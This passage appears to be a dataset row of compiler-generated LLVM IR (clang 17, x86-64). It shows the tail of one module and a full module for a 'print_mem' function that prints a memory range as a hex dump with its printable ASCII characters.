store i32 %89, ptr %8, align 4
br label %56, !llvm.loop !8
90: ; preds = %56
%91 = call i32 (ptr, ...) @printf(ptr noundef @.str.5)
%92 = load i32, ptr %6, align 4
%93 = load ptr, ptr %5, align 8
%94 = sext i32 %92 to i64
%95 = getelementptr inbounds i8, ptr %93, i64 %94
store ptr %95, ptr %5, align 8
br label %10, !llvm.loop !9
96: ; preds = %10
ret void
}
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpe4u44o8i.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"%p \00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%2x\00", align 1
@.str.2 = private unnamed_addr constant [2 x i8] c" \00", align 1
@.str.3 = private unnamed_addr constant [2 x i8] c"\09\00", align 1
@.str.4 = private unnamed_addr constant [3 x i8] c"%c\00", align 1
@.str.5 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @print_mem(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
%9 = load ptr, ptr %3, align 8
store ptr %9, ptr %5, align 8
%10 = load ptr, ptr %5, align 8
%11 = load ptr, ptr %4, align 8
%12 = icmp ult ptr %10, %11
br i1 %12, label %.lr.ph5, label %102
.lr.ph5: ; preds = %2
br label %13
13: ; preds = %.lr.ph5, %93
%14 = load ptr, ptr %4, align 8
%15 = load ptr, ptr %5, align 8
%16 = ptrtoint ptr %14 to i64
%17 = ptrtoint ptr %15 to i64
%18 = sub i64 %16, %17
%19 = icmp sgt i64 %18, 32
br i1 %19, label %20, label %21
20: ; preds = %13
br label %27
21: ; preds = %13
%22 = load ptr, ptr %4, align 8
%23 = load ptr, ptr %5, align 8
%24 = ptrtoint ptr %22 to i64
%25 = ptrtoint ptr %23 to i64
%26 = sub i64 %24, %25
br label %27
27: ; preds = %21, %20
%28 = phi i64 [ 32, %20 ], [ %26, %21 ]
%29 = trunc i64 %28 to i32
store i32 %29, ptr %6, align 4
%30 = load ptr, ptr %5, align 8
%31 = call i32 (ptr, ...) @printf(ptr noundef @.str, ptr noundef %30)
store i32 0, ptr %7, align 4
%32 = load i32, ptr %7, align 4
%33 = load i32, ptr %6, align 4
%34 = icmp slt i32 %32, %33
br i1 %34, label %.lr.ph, label %55
.lr.ph: ; preds = %27
br label %35
35: ; preds = %.lr.ph, %49
%36 = load ptr, ptr %5, align 8
%37 = load i32, ptr %7, align 4
%38 = sext i32 %37 to i64
%39 = getelementptr inbounds i8, ptr %36, i64 %38
%40 = load i8, ptr %39, align 1
%41 = sext i8 %40 to i32
%42 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %41)
%43 = load i32, ptr %7, align 4
%44 = srem i32 %43, 8
%45 = icmp eq i32 %44, 7
br i1 %45, label %46, label %48
46: ; preds = %35
%47 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %48
48: ; preds = %46, %35
br label %49
49: ; preds = %48
%50 = load i32, ptr %7, align 4
%51 = add nsw i32 %50, 1
store i32 %51, ptr %7, align 4
%52 = load i32, ptr %7, align 4
%53 = load i32, ptr %6, align 4
%54 = icmp slt i32 %52, %53
br i1 %54, label %35, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %49
br label %55
55: ; preds = %._crit_edge, %27
%56 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
store i32 0, ptr %8, align 4
%57 = load i32, ptr %8, align 4
%58 = load i32, ptr %6, align 4
%59 = icmp slt i32 %57, %58
br i1 %59, label %.lr.ph2, label %93
.lr.ph2: ; preds = %55
br label %60
60: ; preds = %.lr.ph2, %87
%61 = load ptr, ptr %5, align 8
%62 = load i32, ptr %8, align 4
%63 = sext i32 %62 to i64
%64 = getelementptr inbounds i8, ptr %61, i64 %63
%65 = load i8, ptr %64, align 1
%66 = sext i8 %65 to i32
%67 = icmp sgt i32 %66, 32
br i1 %67, label %68, label %83
68: ; preds = %60
%69 = load ptr, ptr %5, align 8
%70 = load i32, ptr %8, align 4
%71 = sext i32 %70 to i64
%72 = getelementptr inbounds i8, ptr %69, i64 %71
%73 = load i8, ptr %72, align 1
%74 = sext i8 %73 to i32
%75 = icmp slt i32 %74, 126
br i1 %75, label %76, label %83
76: ; preds = %68
%77 = load ptr, ptr %5, align 8
%78 = load i32, ptr %8, align 4
%79 = sext i32 %78 to i64
%80 = getelementptr inbounds i8, ptr %77, i64 %79
%81 = load i8, ptr %80, align 1
%82 = sext i8 %81 to i32
br label %84
83: ; preds = %68, %60
br label %84
84: ; preds = %83, %76
%85 = phi i32 [ %82, %76 ], [ 46, %83 ]
%86 = call i32 (ptr, ...) @printf(ptr noundef @.str.4, i32 noundef %85)
br label %87
87: ; preds = %84
%88 = load i32, ptr %8, align 4
%89 = add nsw i32 %88, 1
store i32 %89, ptr %8, align 4
%90 = load i32, ptr %8, align 4
%91 = load i32, ptr %6, align 4
%92 = icmp slt i32 %90, %91
br i1 %92, label %60, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %87
br label %93
93: ; preds = %._crit_edge3, %55
%94 = call i32 (ptr, ...) @printf(ptr noundef @.str.5)
%95 = load i32, ptr %6, align 4
%96 = load ptr, ptr %5, align 8
%97 = sext i32 %95 to i64
%98 = getelementptr inbounds i8, ptr %96, i64 %97
store ptr %98, ptr %5, align 8
%99 = load ptr, ptr %5, align 8
%100 = load ptr, ptr %4, align 8
%101 = icmp ult ptr %99, %100
br i1 %101, label %13, label %._crit_edge6, !llvm.loop !9
._crit_edge6: ; preds = %93
br label %102
102: ; preds = %._crit_edge6, %2
ret void
}
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.